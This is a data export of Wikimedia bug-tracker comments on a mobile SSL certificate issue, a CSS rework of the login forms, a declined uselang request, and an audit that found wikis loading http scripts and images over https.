+164512,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,*** Bug 37024 has been marked as a duplicate of this bug. ***,,,1337704981,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-67,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+164508,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**pfhayes** wrote:
+
+%%%*** Bug 34833 has been marked as a duplicate of this bug. ***%%%",,,1331835104,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+164505,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,*** Bug 35096 has been marked as a duplicate of this bug. ***,,,1331326730,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-77,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+164499,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,RT #2541,,,1330523778,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+36751,Replacing table layout in registration and login forms,"patch for changing from table layout to CSS layout
+
+The login and registration forms are using tables for laying out the page. I propose the attached patch to change it to CSS. The patch also includes the usage of methods (i. e. Html::element()) for creating the form fields instead of embedded HTML. The patch also removes the default type attributes' value to make sure the CSS-selector for ""input type=text"" is working.
+
+--------------------------
+**Version**: 1.18.x
+**Severity**: normal
+
+**Attached**: {F9123}",Medium,50.0,1330351500,1376928143.0,PHID-USER-viklzrmg5ah3vrnymwin,False,,False,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_description,resolved,True,c2,1,False,False,True,-79,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+170933,Replacing table layout in registration and login forms,Good point. Resolved.,,,1376928143,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+170926,Replacing table layout in registration and login forms,I guess we can resolve this one as the new form doesn't have this problem(s)?!,,,1376927254,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+170920,Replacing table layout in registration and login forms,"MediaWiki 1.22wmf2 introduces mw-ui- CSS styles for a new vertical form layout. It's currently opt-in for login (try at http://www.mediawiki.org/w/index.php?title=Special:UserLogin&useNew=1 ).
+
+(In reply to comment #5)
+> it would make a lot of sense to migrate this stuff to HTMLForm
+That remains to do (some initial work in gerrit 56058) so I'm leaving this bug open.",,,1366310538,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-19,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+170913,Replacing table layout in registration and login forms,*** Bug 43108 has been marked as a duplicate of this bug. ***,,,1360827999,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-28,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+170905,Replacing table layout in registration and login forms,"**sumanah** wrote:
+
+Marking reviewed per comment #5 -- Kai, would you be interested in revising and responding with a Gerrit changeset?  Thanks.",,,1350008351,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+170898,Replacing table layout in registration and login forms,Obviously not being fixed in the 1.20 tarball.,,,1349023732,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+170893,Replacing table layout in registration and login forms,"We shouldn't add that much CSS to the file loaded on every request. Also, HTML generation code is scary (and presently, too) - it would make a lot of sense to migrate this stuff to HTMLForm (there are tentative plans to make it optionally not use tables).",,,1334855256,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-71,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+170886,Replacing table layout in registration and login forms,"**sumanah** wrote:
+
+Lowered priority to Normal.",,,1330373791,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+170882,Replacing table layout in registration and login forms,Moar CSS!,,,1330367179,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+170876,Replacing table layout in registration and login forms,"By the way, this bug has also been mentioned by the accessibility report that was carried out by the swiss foundation ""access for all"".
+
+See paragraph 1.3.1.C1 and 1.3.1.D2 for details.
+http://www.thirdageonline.eu/project-tao-2/software-development/mediawiki-accessibility-enhancements/",,,1330355657,,PHID-USER-viklzrmg5ah3vrnymwin,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-79,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0
+170870,Replacing table layout in registration and login forms,"**sumanah** wrote:
+
+Thanks for the patch, Kai Nissen!  I've added keywords to indicate that this patch awaits review (see https://www.mediawiki.org/wiki/How_to_become_a_MediaWiki_hacker#Submit_your_changes ) and given you Bugzilla privileges so you can add those keywords in the future, if you need to.  Thanks again.",,,1330353841,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+36748,Making uselang= stick when there is no chance to login,"Let's say we are browsing a 'foreign site'. To make it less foreign, we
+must append ""uselang=en"" after each url right there in the URL bar of
+our browser.
+http://dev.baidu.com/wiki/map/index.php?title=%E7%89%B9%E6%AE%8A:%E7%89%B9%E6%AE%8A%E9%A1%B5%E9%9D%A2&uselang=en
+
+Go ahead and now click on one of the juicy links displayed.
+
+Note how frustrating it is that we are now back in their native language.
+
+After a while this becomes frustrating, and we wish MediaWiki had a
+""uselang=en&remember_uselang=1"" or some way to make the @#$! uselang
+parameter stick.
+
+Note there is no chance any such business sites would let a user login
+to set a preference.
+
+Compare all the effort put into providing translation strings, with this silly barrier to seeing them.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: enhancement",Medium,50.0,1330312020,1330366159.0,PHID-USER-awbqewknju4hbrnah6pm,False,,False,PHID-TASK-bfb4ig3ja4douhwcrh6e,task_description,declined,True,c2,1,False,False,True,-79,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0
+170572,Making uselang= stick when there is no chance to login,"The WHOLE POINT of my bug is that THEY aren't going to be installing anything.
+
+THEY are mostly static read-only documentation sites of various companies.
+
+The hope is that when one encounters one, one can navigate easily from minute one without needing to contact them to find somebody to fix something.
+
+However as the bug is now closed, one must probably go in the 'greasemonkey' direction as is the usual case for such few remaining hostile software.",,,1330387478,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bfb4ig3ja4douhwcrh6e,task_subcomment,,True,c2,1,False,,,-79,True,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,0
+170566,Making uselang= stick when there is no chance to login,"After asking Niklas about this, he points out that they could install the LanguageSelector https://www.mediawiki.org/wiki/Extension:LanguageSelector",,,1330366159,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-bfb4ig3ja4douhwcrh6e,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+170558,Making uselang= stick when there is no chance to login,"This (remembering uselang) would be an awesome bit, imo.  Siebrand, Niklas, what do you think?",,,1330365559,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-bfb4ig3ja4douhwcrh6e,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,1,0,1,0,0,0
+36670,Check all wikis for inclusions of http resources on https,"Per IRC, it was noted numerous sites were including arbitrary http files in CSS, JS and otherwise which isn't good.
+
+If we can gather a list of offending wikis, we can look at trying to fix them up.
+
+Visiting the main page on all wikis via HTTPS should be enough
+",Medium,50.0,1330050000,1586186202.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-dpocfkqirsjrev23x7kp,task_description,resolved,True,c2,1,True,True,False,-79,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+1478984,Check all wikis for inclusions of http resources on https,">>! In T36670#6029734, @Krinkle wrote:
+> This is probably obsolete nowadays. But will let Security Team triage and keep, merge or close accordingly :)
+
+Ditto
+
+>>! In T249466#6030705, @Legoktm wrote:
+> Also see https://integration.wikimedia.org/ci/job/audit-resources/ which runs every day
+
+And CSP stuff seems to cover this",,,1586186202,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,344,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1
+1478274,Check all wikis for inclusions of http resources on https,"This is probably obsolete nowadays. But will let Security Team triage and keep, merge or close accordingly :)",,,1586041205,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,344,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+511182,Check all wikis for inclusions of http resources on https,">>! In T36670#1552038, @Nemo_bis wrote:
+> What benefit does this give over HSTS at this point?
+
+None, I guess.
+
+> This sounds certainly useful, if it can be restricted to embedded content (rather than just links).
+
+`script-src` only affects `<script>` tags. There is also `style-src`, `object-src` and so on; they can be combined.",,,1440018906,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,103,True,0,0,0,1,0,1,0,0,0,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1
+510709,Check all wikis for inclusions of http resources on https,"> Modern browsers can be instructed via an Upgrade-Insecure-Requests header or CSP directive to request any resource over HTTPS from a given domain, even if the URL has HTTP in it.
+
+What benefit does this give over HSTS at this point? Can that be configured to apply only to Wikimedia domains? (Couldn't see quickly in the examples.)
+
+> CSP can also be used to report insecure URLs via default-src https: + report-uri.
+
+This sounds certainly useful, if it can be restricted to embedded content (rather than just links).",,,1439968734,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,103,True,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+507102,Check all wikis for inclusions of http resources on https,"Modern browsers can be instructed via an [[ http://www.w3.org/TR/upgrade-insecure-requests/ | Upgrade-Insecure-Requests ]] header or CSP directive to request any resource over HTTPS from a given domain, even if the URL has HTTP in it.
+
+CSP can also be used to report insecure URLs via [[ http://www.w3.org/TR/upgrade-insecure-requests/#reporting-upgrades | `default-src https:` + `report-uri` ]].",,,1439422274,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,102,True,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+431444,Check all wikis for inclusions of http resources on https,Have been going around removing http: references from Wikimedia-hosted wikis. Not sure what to do about the private wikis where I don't have an account/an admin flag.,,,1427162524,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,81,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+165962,Check all wikis for inclusions of http resources on https,"**Ruslik00** wrote:
+
+I fixed all above except bnwikibooks (can not find anything), eswikiquote and also
+http://upload.wikimedia.org/wikipedia/commons/e/ea/Button_easy_cite.png on euwiki (can not find either).
+
+It was a good news actually that so few of them turned up.
+
+In fact, a bigger problem is 404 errors.",,,1383496587,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,False,,,9,True,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0
+165959,Check all wikis for inclusions of http resources on https,"Nemo was right. Ran a script to add all the gadgets to my user, and then reran my script to check Main_Page, action=edit for my user page, and Special:RecentChanges. These all popped up.
+
+
+aswiki
+* http://en.wikipedia.org/w/index.php?title=User:ProveIt_GT/ProveIt.js&action=raw&ctype=text/javascript
+
+bnwikibooks
+* http://en.wikipedia.org/w/index.php?title=User:ProveIt_GT/ProveIt.js&action=raw&ctype=text/javascript
+
+dewikiversity
+* http://toolserver.org/~w/ggu/?format=cssmarker&localuser=Benutzer&query=sysop@dewikiversity@P%7Cbureaucrat@dewikiversity@B
+* http://toolserver.org/~w/ggu/?format=cssmarker&localuser=Benutzer&query=sysop@dewikiversity@P%7Cbureaucrat@dewikiversity@B%7Csysop@commonswiki@C%7Csteward@metawiki@S
+
+dvwiktionary
+* http://commons.wikimedia.org/w/index.php?title=MediaWiki:Gadget-HotCat.js&action=raw&ctype=text/javascript
+
+elwiki
+* http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js?uselang=el
+
+elwikinews
+* http://meta.wikimedia.org/w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+* http://commons.wikimedia.org/w/index.php?title=MediaWiki:Gadget-HotCat.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+* http://en.wikipedia.org/w/index.php?title=MediaWiki:Gadget-popups.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+* http://meta.wikimedia.org/w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+* http://commons.wikimedia.org/w/index.php?title=MediaWiki:Gadget-HotCat.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+
+eswikiquote
+* http://commons.wikipedia.org/skins-1.5/monobook/headbg.jpg
+* http://es.wikipedia.org/skins-1.5/amethyst/chat.png
+* http://upload.wikimedia.org/wikipedia/commons/b/ba/Search_button_bckg.png
+* http://es.wikipedia.org/skins-1.5/amethyst/configure.png
+* http://es.wikipedia.org/skins-1.5/amethyst/connect.png
+* http://es.wikipedia.org/skins-1.5/amethyst/mainpage.png
+* http://es.wikipedia.org/skins-1.5/amethyst/portal.png
+* http://es.wikipedia.org/skins-1.5/amethyst/recentchanges.png
+* http://es.wikipedia.org/skins-1.5/amethyst/random.png
+* http://es.wikipedia.org/skins-1.5/amethyst/help.png
+* http://es.wikipedia.org/skins-1.5/amethyst/sitesupport.png
+* http://es.wikipedia.org/skins-1.5/amethyst/chat.png
+(and a few more amethyst urls)
+
+euwiki
+* http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js?uselang=eu
+* http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js?uselang=eu
+* http://upload.wikimedia.org/wikipedia/commons/e/ea/Button_easy_cite.png
+
+orwiktionary
+* http://commons.wikimedia.org/w/index.php?title=MediaWiki:Gadget-HotCat.js&action=raw&ctype=text/javascript
+
+ruwikinews
+* http://ru.wikipedia.org/w/index.php?action=raw&ctype=text/javascript&title=MediaWiki:Stemmer.js",,,1383349806,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,9,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+165952,Check all wikis for inclusions of http resources on https,"(In reply to comment #18)
+> Does Quentin have a script for that? I haven't had the time to get one
+> working
+> yet, so it would be great to get that.
+
+Yes, [[m:User:Pathoschild/Scripts/Synchbot#Global_settings_change]].
+I think this applies: ""Due to the potential for misuse, this bot is not open-source"". https://github.com/Pathoschild/Wikimedia-contrib#readme
+Maybe Pathoschild can give you the source too.",,,1382380566,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+165946,Check all wikis for inclusions of http resources on https,"Does Quentin have a script for that? I haven't had the time to get one working yet, so it would be great to get that.",,,1382373476,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+165939,Check all wikis for inclusions of http resources on https,"Quentin, can you confirm your script can enable all gadgets on all wikis for a test account for Chris?",,,1382335258,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,7,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+165935,Check all wikis for inclusions of http resources on https,"Next iteration will be to have it log in, and add every gadget available on every wiki... but I haven't figured that part out yet.",,,1380556667,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+165930,Check all wikis for inclusions of http resources on https,"(In reply to comment #11)
+> I (finally) got around to writing a phantomjs script that loads Main_Page on
+> all 878 wikis in all.dblist over https, and looks for any calls to http urls.
+
+Does the script work as unregistered user? The easy bulk of such problems (stuff loaded by default, ""http"" mentions in MediaWiki namespace) was already resolved, though of course people keep reintroducing more, but gadgets are more unpredictable.
+Quentinv57 has a JavaScript for global preferences change, maybe it can be adapted to enable all gadgets on all wikis for the test account.",,,1380345747,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+165924,Check all wikis for inclusions of http resources on https,"(In reply to comment #11)
+> https://ve.wikimedia.org redirects to http://wikimedia.org.ve, no ssl on that
+> domain
+
